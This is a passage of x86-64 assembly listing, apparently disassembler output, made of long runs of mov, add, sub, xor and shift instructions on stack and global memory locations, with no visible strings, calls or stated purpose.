mov ecx, dword [rsp + 0x429c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov dword [rsp + 0x46c8], eax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1bd]
add eax, ecx
mov byte [rsp + 0x1c6], al
movzx eax, word [rsp + 0xf50]
movzx ecx, word [0x14019bfa4]
sar eax, cl
mov word [rsp + 0xef4], ax
lea rax, [rsp + 0x4168]
mov qword [rsp + 0xba18], rax
mov rax, qword [rsp + 0xad90]
mov ecx, dword [rsp + 0x4484]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb328]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44b0]
mov dword [rsp + 0x46cc], eax
mov rax, qword [rsp + 0xb220]
mov eax, dword [rax]
mov dword [0x14019db48], eax
mov rax, qword [rsp + 0xb790]
mov rcx, qword [rsp + 0xb4b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0xa818]
movsx eax, byte [rax]
mov rcx, qword [0x14019d9d0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf9], al
movsx eax, word [rsp + 0x1074]
movsx ecx, word [rsp + 0xf48]
and eax, ecx
mov rcx, qword [rsp + 0xb6c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa940]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb678]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
lea rax, [0x14019d9f0]
mov qword [rsp + 0xba20], rax
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x44f8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x441c]
mov dword [rsp + 0x46d0], eax
mov rax, qword [rsp + 0xb4a8]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf26]
and eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
movzx eax, word [rsp + 0xf3c]
movzx ecx, word [rsp + 0x1078]
add eax, ecx
mov word [0x14019bf14], ax
mov eax, dword [rsp + 0x44a8]
mov ecx, dword [rsp + 0x3b2c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46a0], eax
mov rax, qword [rsp + 0xad30]
mov eax, dword [rax]
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0xb4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4414]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb2e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4544]
mov dword [rsp + 0x46d8], eax
mov rax, qword [0x14019daf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb990]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb958]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac40]
mov word [rcx], ax
mov eax, dword [rsp + 0x4680]
mov dword [rsp + 0x46dc], eax
mov eax, dword [rsp + 0x3bf0]
mov ecx, dword [0x14019d7e0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xa638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a]
or eax, ecx
mov byte [str.Sb], al
lea rax, [rsp + 0xf30]
mov qword [rsp + 0xba28], rax
mov rax, qword [rsp + 0xa628]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x188]
sar eax, cl
mov rcx, qword [rsp + 0xb968]
mov byte [rcx], al
lea rax, [rsp + 0xff8]
mov qword [rsp + 0xba30], rax
mov eax, dword [rsp + 0x43f4]
mov rcx, qword [rsp + 0xb878]
mov qword [rsp + 0xba38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba38]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [0x14019db28]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0xba40], rax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3ce4]
mov dword [rsp + 0x46e0], eax
movzx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0xb3a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [0x14019d8f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bfd0], ax
mov rax, qword [rsp + 0xb438]
mov ecx, dword [rsp + 0x4668]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb880]
mov eax, dword [rax]
mov dword [rsp + 0x46e4], eax
mov eax, dword [0x14019db48]
mov ecx, dword [rsp + 0x4434]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaad0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4664]
mov dword [rsp + 0x46e8], eax
movzx eax, word [rsp + 0x102c]
movzx ecx, word [rsp + 0xf34]
sub eax, ecx
mov rcx, qword [rsp + 0xab90]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov rcx, qword [rsp + 0xb428]
mov byte [rcx], al
lea rax, [rsp + 0x1100]
mov qword [rsp + 0xba48], rax
movsx eax, byte [rsp + 0xa8]
movsx ecx, byte [rsp + 0x182]
add eax, ecx
mov rcx, qword [rsp + 0xa9b0]
mov byte [rcx], al
lea rax, [0x14019bfc0]
mov qword [0x14019db50], rax
mov rax, qword [rsp + 0xa650]
mov eax, dword [rax]
mov dword [rsp + 0x46ec], eax
mov rax, qword [rsp + 0xb050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1090], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [0x14019900c]
xor eax, ecx
mov rcx, qword [rsp + 0xb700]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b60]
mov dword [rsp + 0x46f0], eax
mov eax, dword [rsp + 0x3ffc]
mov rcx, qword [rsp + 0xace0]
mov qword [rsp + 0xba50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44a4], eax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4508]
sar eax, cl
mov dword [rsp + 0x3c74], eax
mov rax, qword [rsp + 0xa998]
mov ecx, dword [rsp + 0x458c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4200], eax
movzx eax, byte [rsp + 0x173]
mov byte [rsp + 0x1f4], al
movzx eax, word [rsp + 0xf18]
movzx ecx, word [rsp + 0xf54]
and eax, ecx
mov rcx, qword [0x14019db10]
mov word [rcx], ax
mov rax, qword [rsp + 0xabe0]
mov ecx, dword [rsp + 0x4604]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov eax, dword [0x14019bef8]
mov ecx, dword [rsp + 0x44bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafc0]
mov dword [rcx], eax
lea rax, [rsp + 0x45c8]
mov qword [rsp + 0xba58], rax
mov eax, dword [rsp + 0x4378]
mov ecx, dword [rsp + 0x46dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb318]
mov dword [rcx], eax
lea rax, [rsp + 0x3ee8]
mov qword [rsp + 0xba60], rax
mov rax, qword [rsp + 0xb0f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0xa558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f5], al
movzx eax, word [rsp + 0xe6c]
mov rcx, qword [rsp + 0xaf40]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019db18], ax
mov rax, qword [rsp + 0xacc8]
mov rcx, qword [rsp + 0xa678]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43dc], eax
lea rax, [rsp + 0x4194]
mov qword [rsp + 0xba68], rax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb428]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0xaf68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb44]
sub eax, ecx
mov word [rsp + 0xfe0], ax
mov eax, dword [rsp + 0x4638]
mov dword [rsp + 0x46f4], eax
mov rax, qword [rsp + 0xaca8]
mov ecx, dword [rsp + 0x435c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x46d8], eax
mov eax, dword [rsp + 0x4328]
mov dword [rsp + 0x46f8], eax
mov eax, dword [rsp + 0x45f4]
movzx ecx, al
mov eax, dword [rsp + 0x4484]
shl eax, cl
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0xb6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd5c]
sar eax, cl
mov word [0x14019bfd4], ax
movzx eax, byte [rsp + 0x1de]
movzx ecx, byte [rsp + 0x19e]
or eax, ecx
mov rcx, qword [rsp + 0xb148]
mov byte [rcx], al
mov rax, qword [rsp + 0xae98]
mov eax, dword [rax]
mov dword [rsp + 0x46fc], eax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x430c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4434], eax
lea rax, [rsp + 0x192]
mov qword [rsp + 0xba70], rax
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
mov rcx, qword [0x14019d868]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb088]
mov word [rcx], ax
mov rax, qword [rsp + 0xba00]
movzx eax, word [rax]
mov word [rsp + 0x1150], ax
movzx eax, byte [rsp + 0x1f0]
mov rcx, qword [rsp + 0xb9a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac90]
mov byte [rcx], al
mov eax, dword [0x14019d840]
mov ecx, dword [rsp + 0x44c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44b8], eax
mov rax, qword [rsp + 0xb868]
mov ecx, dword [rsp + 0x45d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019befc], eax
lea rax, [rsp + 0x43a8]
mov qword [rsp + 0xba78], rax
mov eax, dword [rsp + 0x45f0]
mov ecx, dword [rsp + 0x45a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x454c], eax
mov eax, dword [rsp + 0x42b0]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0xf5c]
movzx ecx, word [rsp + 0xeec]
and eax, ecx
mov word [rsp + 0xb44], ax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0xb358]
mov rcx, qword [rsp + 0xb170]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41d8], eax
lea rax, [0x14019bf18]
mov qword [rsp + 0xba80], rax
mov rax, qword [rsp + 0xb408]
mov eax, dword [rax]
mov dword [0x14019db58], eax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cc]
or eax, ecx
mov byte [rsp + 0x1d9], al
movzx eax, word [rsp + 0xec0]
mov rcx, qword [0x14019d910]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb210]
mov word [rcx], ax
lea rax, [rsp + 0x16c]
mov qword [rsp + 0xba88], rax
mov rax, qword [rsp + 0xa6d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa5d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf48], ax
lea rax, [0x14019bf74]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0xb3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4304]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4260], eax
movzx eax, byte [rsp + 0x161]
movzx ecx, byte [rsp + 0x1c2]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [0x14019da78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf18]
and eax, ecx
mov word [rsp + 0x110c], ax
mov eax, dword [rsp + 0x41f0]
mov ecx, dword [rsp + 0x3c7c]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bfd8], eax
mov rax, qword [rsp + 0xaf30]
mov rcx, qword [rsp + 0xba10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43ac], eax
mov rax, qword [rsp + 0xb6b0]
mov eax, dword [rax]
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x45ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x35ac], eax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov byte [rsp + 0x1f6], al
movzx eax, word [rsp + 0xf90]
mov rcx, qword [rsp + 0xae28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfb0], ax
mov rax, qword [rsp + 0xb198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4708]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb808]
mov dword [rcx], eax
mov eax, dword [0x14019bee8]
mov dword [rsp + 0x470c], eax
mov rax, qword [rsp + 0xb9f8]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa568]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6e0]
mov ecx, dword [rsp + 0x43cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d7e0], eax
lea rax, [0x14019d830]
mov qword [rsp + 0xba98], rax
movsx eax, word [rsp + 0xc94]
movsx ecx, word [rsp + 0xf74]
and eax, ecx
mov rcx, qword [rsp + 0xac20]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
lea rax, [rsp + 0xf40]
mov qword [rsp + 0xbaa0], rax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb718]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xac60]
mov byte [rcx], al
lea rax, [rsp + 0x4678]
mov qword [rsp + 0xbaa8], rax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [0x14019d9a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41d4], eax
movzx eax, byte [rsp + 0x17c]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xab90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bfd0], ax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x4710], eax
mov rax, qword [rsp + 0xa810]
mov ecx, dword [rsp + 0x43a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4618], eax
mov rax, qword [rsp + 0xac10]
mov eax, dword [rax]
mov dword [rsp + 0x4714], eax
mov rax, qword [0x14019dab8]
mov rcx, qword [rsp + 0xaa60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0xaa78]
movzx eax, byte [rax]
mov byte [rsp + 0x1f7], al
movzx eax, word [rsp + 0xf98]
mov rcx, qword [rsp + 0xb4c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4264]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c8], eax
lea rax, [rsp + 0x44e8]
mov qword [rsp + 0xbab0], rax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0x1140]
add eax, ecx
mov word [0x14019bfdc], ax
movsx eax, byte [rsp + 0x1ec]
movsx ecx, byte [rsp + 0x17a]
sub eax, ecx
mov byte [rsp + 0x1d7], al
movzx eax, byte [rsp + 0x1ad]
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x1130]
sub eax, ecx
mov rcx, qword [rsp + 0xae68]
mov word [rcx], ax
mov eax, dword [rsp + 0x420c]
mov ecx, dword [rsp + 0x434c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43ec], eax
mov rax, qword [rsp + 0xb168]
mov eax, dword [rax]
mov dword [rsp + 0x4718], eax
mov rax, qword [rsp + 0xaec0]
mov ecx, dword [0x14019d948]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41e4], eax
lea rax, [rsp + 0x43c8]
mov qword [rsp + 0xbab8], rax
mov rax, qword [rsp + 0xb880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0xb098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1bd], al
movzx eax, word [rsp + 0x1124]
mov rcx, qword [rsp + 0xae68]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019da28], ax
mov eax, dword [rsp + 0x335c]
mov rcx, qword [rsp + 0xa758]
mov qword [rsp + 0xbac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbac0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3e98], eax
mov eax, dword [rsp + 0x4288]
movzx ecx, al
mov eax, dword [rsp + 0x41d4]
sar eax, cl
mov dword [rsp + 0x42d4], eax
mov eax, dword [rsp + 0x46b8]
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xa708]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb3c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0xad80]
movzx eax, byte [rax]
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xabb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
and ecx, eax
mov eax, ecx
mov dword [0x14019bfe0], eax
mov rax, qword [rsp + 0xb2e0]
mov rcx, qword [0x14019da90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x1fb], al
movzx eax, word [rsp + 0x10c8]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1020], ax
mov rax, qword [0x14019d998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4350]
mov qword [rsp + 0xbac8], rax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xaa80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44fc], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0xabb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ab], al
lea rax, [rsp + 0xf94]
mov qword [0x14019db60], rax
mov rax, qword [rsp + 0xab50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x444c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x39c4], eax
mov eax, dword [rsp + 0x452c]
mov dword [rsp + 0x4724], eax
mov eax, dword [rsp + 0x4254]
movzx ecx, al
mov eax, dword [rsp + 0x46d4]
shl eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x471c]
mov dword [rsp + 0x4728], eax
mov eax, dword [rsp + 0x44dc]
mov rcx, qword [0x14019d9c0]
mov qword [rsp + 0xbad0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xaf50]
mov dword [rcx], eax
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0x1054]
or eax, ecx
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0xb018]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19d]
add eax, ecx
mov byte [0x14019bf1f], al
lea rax, [rsp + 0x41f0]
mov qword [rsp + 0xbad8], rax
mov rax, qword [0x14019db30]
mov ecx, dword [rsp + 0x41e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4210], eax
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0xbae0], rax
mov rax, qword [rsp + 0xace8]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0xb950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4218], eax
mov rax, qword [rsp + 0xb458]
mov rcx, qword [rsp + 0xa368]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x391c], eax
mov rax, qword [0x14019d9a0]
mov rcx, qword [rsp + 0xad48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb2b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4518]
mov dword [rsp + 0x472c], eax
lea rax, [rsp + 0x112c]
mov qword [0x14019db68], rax
movzx eax, byte [rsp + 0x165]
movzx ecx, byte [0x14019bf17]
add eax, ecx
mov rcx, qword [rsp + 0xb650]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xb940]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb218]
mov dword [rcx], eax
lea rax, [rsp + 0x447c]
mov qword [rsp + 0xbae8], rax
mov rax, qword [rsp + 0xb138]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xac20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
lea rax, [rsp + 0x1a9]
mov qword [rsp + 0xbaf0], rax
movzx eax, word [rsp + 0x10d8]
movzx ecx, word [rsp + 0xedc]
shl eax, cl
mov word [rsp + 0xfb0], ax
movzx eax, byte [0x14019beef]
movzx ecx, byte [rsp + 0x16b]
xor eax, ecx
mov rcx, qword [rsp + 0xa9c0]
mov byte [rcx], al
lea rax, [rsp + 0x4058]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8d0]
mov qword [rsp + 0xbb00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bf30], eax
mov rax, qword [0x14019d8a8]
mov ecx, dword [rsp + 0x4684]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xab58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb388]
mov eax, dword [rax]
mov dword [rsp + 0x4730], eax
mov eax, dword [rsp + 0x4218]
mov ecx, dword [rsp + 0x41b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaf8]
mov dword [rcx], eax
mov rax, qword [0x14019daa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa768]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf94], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xbb08], rax
mov rax, qword [rsp + 0xa680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4304]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x45c8], eax
lea rax, [rsp + 0x423c]
mov qword [rsp + 0xbb10], rax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4268]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf0]
mov rcx, qword [rsp + 0xb3d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d930]
mov dword [rcx], eax
mov rax, qword [0x14019d8f0]
movzx eax, word [rax]
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0xaa28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1da]
add eax, ecx
mov byte [rsp + 0x17f], al
movsx eax, word [rsp + 0xed8]
movsx ecx, word [rsp + 0x1104]
and eax, ecx
mov word [rsp + 0x1014], ax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0xb168]
mov rcx, qword [rsp + 0xb380]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov dword [rsp + 0x4734], eax
movzx eax, word [0x14019bfd4]
mov rcx, qword [rsp + 0xb290]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb4c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov eax, dword [rsp + 0x4558]
mov dword [0x14019db70], eax
mov eax, dword [0x14019bfcc]
mov dword [rsp + 0x4738], eax
mov eax, dword [rsp + 0x44a0]
mov rcx, qword [rsp + 0xac18]
mov qword [rsp + 0xbb18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb18]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44e0], eax
mov eax, dword [rsp + 0x419c]
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0xaac0]
movzx eax, byte [rax]
mov rcx, qword [0x14019d7c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa5c0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1134]
mov rcx, qword [rsp + 0xb758]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb600]
mov word [rcx], ax
lea rax, [rsp + 0x460c]
mov qword [rsp + 0xbb20], rax
mov eax, dword [rsp + 0x3fc0]
movzx ecx, al
mov eax, dword [rsp + 0x388c]
shl eax, cl
mov dword [rsp + 0x44d8], eax
lea rax, [rsp + 0x3e98]
mov qword [rsp + 0xbb28], rax
mov rax, qword [rsp + 0xb4e8]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bfe4], eax
mov eax, dword [rsp + 0x4568]
mov ecx, dword [0x14019db58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43fc], eax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xbb30], rax
mov rax, qword [rsp + 0xa6d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xb890]
mov word [rcx], ax
mov rax, qword [0x14019da10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb0b8]
movzx ecx, byte [rcx]
